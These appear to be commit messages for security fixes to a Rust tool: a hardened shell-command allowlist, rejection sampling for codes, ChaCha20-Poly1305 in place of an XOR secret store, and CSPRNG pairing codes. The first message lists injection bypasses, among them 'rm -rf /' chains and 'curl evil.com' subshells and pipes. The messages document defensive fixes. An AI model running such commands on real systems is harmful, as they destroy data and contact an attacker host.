The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:
echo $(rm -rf /) — subshell hides arbitrary command
echo `curl evil.com` — backtick subshell
ls | curl evil.com — pipe to unlisted command
ls && rm -rf / — chain via &&
ls\nrm -rf / — newline injection
Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)
Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.
CWE-78 / HIGH-1
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Use rejection sampling to eliminate modulo bias in generate_code().
Values above the largest multiple of 1_000_000 in u32 are discarded
and re-drawn (~0.02% rejection rate).
- Make generate_code_is_not_deterministic test robust against the
1-in-10^6 collision chance by trying 10 pairs instead of one.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The previous secret store used a repeating-key XOR cipher which is
cryptographically broken:
- Deterministic (no nonce) — identical plaintexts produce identical
ciphertexts
- No authentication — tampered ciphertext decrypts silently
- Vulnerable to known-plaintext attacks (e.g., "sk-" prefix reveals
key bytes)
Replace with ChaCha20-Poly1305 authenticated encryption:
- Random 12-byte nonce per encryption (non-deterministic)
- Poly1305 authentication tag detects tampering
- Uses the same 32-byte key file (no migration needed for keys)
New ciphertext format is `enc2:<hex(nonce || ciphertext || tag)>`.
Legacy `enc:` values (XOR) are still decryptable for backward
compatibility during migration.
Adds chacha20poly1305 0.10 crate (pure Rust, no C dependencies).
New tests: tamper detection, wrong-key rejection, nonce uniqueness,
truncation handling, legacy XOR backward compatibility.
CWE-327 / CRIT-1
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Replace DefaultHasher + SystemTime + process::id() with UUID v4
(backed by getrandom/urandom CSPRNG) for pairing code generation.
The previous implementation used predictable entropy sources
(system time to ~1s precision and process ID) with a non-cryptographic
hash (SipHash), making the 6-digit code brute-forceable.
The new implementation extracts 4 random bytes from a UUID v4
(which uses the OS CSPRNG) and derives the 6-digit code from those.
No new dependencies added — reuses existing uuid crate.
Adds a test verifying non-deterministic output.
Ref: CWE-330 (Use of Insufficiently Random Values)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>